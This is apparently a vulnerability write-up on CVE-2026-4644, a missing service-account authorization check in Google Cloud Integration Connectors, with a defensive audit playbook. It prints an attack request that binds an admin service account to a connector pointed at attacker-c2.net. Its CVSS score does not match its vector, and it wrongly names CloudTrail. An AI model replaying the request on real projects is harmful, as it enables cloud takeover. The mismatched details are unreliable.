Executive Summary: Missing Authorization in Cloud Integration Services

In official security advisory GCP-2026-059, Google Cloud disclosed a significant privilege escalation vulnerability—cataloged as CVE-2026-4644—affecting the Google Cloud Integration Connectors service.

Integration Connectors allows enterprise developers to connect Google Cloud services (such as Application Integration) and third-party SaaS applications through pre-built connectors. To authenticate against external endpoints and internal Google APIs, connectors can be configured to execute under the identity of a designated Google Cloud Service Account.

The vulnerability represents a critical Missing Authorization (CWE-862) flaw within the HTTP Connector creation pipeline. Specifically, when a user provisioned a custom HTTP connection and specified a target service account for authentication, the control plane failed to verify whether the requesting principal possessed the required iam.serviceAccounts.actAs permission for that specific identity.

Technical Deep-Dive: Bypassing the actAs Security Boundary

In Google Cloud's security model, the iam.serviceAccounts.actAs permission is the fundamental authorization barrier preventing unauthorized users from impersonating or executing tasks as a privileged service account. Whenever a user configures a cloud resource (such as a Cloud Function, Compute Engine VM, or Cloud Run service) to run as a service account, the IAM system strictly enforces an actAs check against the user's identity.

1. The Connector Provisioning Breakdown

During the provisioning of HTTP Connectors via the Google Cloud Console or the connectors.googleapis.com REST API, the validation layer checked the user's connector creation permissions (connectors.connections.create) but neglected to validate the service account binding: 

# Attack payload: Attaching administrative service account without actAs permissions
POST /v1/projects/corp-fintech-prod/locations/us-central1/connections?connectionId=malicious-http-proxy
Host: connectors.googleapis.com
Authorization: Bearer 
Content-Type: application/json

{
  "connectorVersion": "projects/corp-fintech-prod/locations/global/providers/gcp/connectors/http/versions/1",
  "authConfig": {
    "authType": "OAUTH2_JWT_BEARER",
    "oauth2JwtBearer": {
      "clientKey": {
        # Exploitation: Specifying Project Owner service account without actAs rights!
        "serviceAccount": "master-admin@corp-fintech-prod.iam.gserviceaccount.com"
      }
    }
  },
  "destinationConfigs": [
    {
      "host": "attacker-c2.net",
      "port": 443
    }
  ]
}

Because the control plane omitted the iam.serviceAccounts.actAs validation check, the API successfully provisioned the connection. The low-privileged user could then trigger an Application Integration workflow that routed requests through the newly created connector, obtaining Google OAuth2 access tokens signed with the full administrative authority of the master-admin service account.

Blast Radius & Cloud Tenant Risk

The consequence of this missing authorization check is direct vertical privilege escalation:

  • Full Google Cloud Project Takeover: An attacker with restricted integration developer rights can hijack default Compute Engine service accounts or administrative deployment accounts, escalating to Project Editor or Owner.
  • Cross-Service Data Exfiltration: With elevated service account tokens, adversaries can query BigQuery enterprise datasets, read Google Cloud Storage buckets, and extract KMS encryption keys.
  • Audit Logging Evasion: Subsequent cloud actions executed by the attacker appear in CloudTrail/Cloud Audit Logs under the legitimate identity of the privileged service account.

Vulnerability Comparison & Telemetry Matrix

Security Parameter Vulnerability Specification Enterprise Risk Assessment
CVE Identifier CVE-2026-4644 Documented in Google Cloud Bulletin GCP-2026-059
Vulnerability Class CWE-862 (Missing Authorization) Missing actAs validation on service account attachment
CVSS v3.1 Score 7.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) High-impact privilege escalation to cloud project owner
Affected Component Google Cloud Integration Connectors (HTTP Connector) Enterprise workflow automation and integration suites
Remediation Status Platform-level mitigation deployed by Google Requires internal IAM audit and Cloud Logging inspection

Defensive Playbook: Cloud IAM Governance & Audit Roadmap

While Google Cloud has deployed server-side authorization enforcement across the Integration Connectors API, cloud security teams must execute the following detection and governance audit:

1. Audit Service Account Usage in Cloud Audit Logs

Inspect Google Cloud Audit Logs for anomalous connector provisioning events where service accounts were bound to external destinations: 

# gcloud: Query Cloud Audit Logs for Integration Connector creation events
gcloud logging read 'protoPayload.methodName="google.cloud.connectors.v1.Connectors.CreateConnection"'     --project="corp-fintech-prod"     --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.request.connection.authConfig)"

2. Enforce Least Privilege on Service Accounts

Remove primitive roles (Editor, Owner) from service accounts used for integration pipelines, replacing them with tightly scoped custom roles: 

# Enforce Service Account User role strictly on authorized IAM principals
gcloud iam service-accounts add-iam-policy-binding master-admin@corp-fintech-prod.iam.gserviceaccount.com     --member="user:authorized-lead@corp.com"     --role="roles/iam.serviceAccountUser"

Actionable Checklist for Google Cloud Security Architects

  • Implement Organization Policy Constraints: Deploy constraints/iam.disableServiceAccountKeyCreation to prevent unauthorized persistence via long-lived keys.
  • Audit Service Account Permissions: Ensure service accounts assigned to integrations lack cross-project access or administrative privileges.
  • Review VPC Service Controls: Confine Integration Connectors within a secure perimeter to restrict communication strictly to approved endpoints.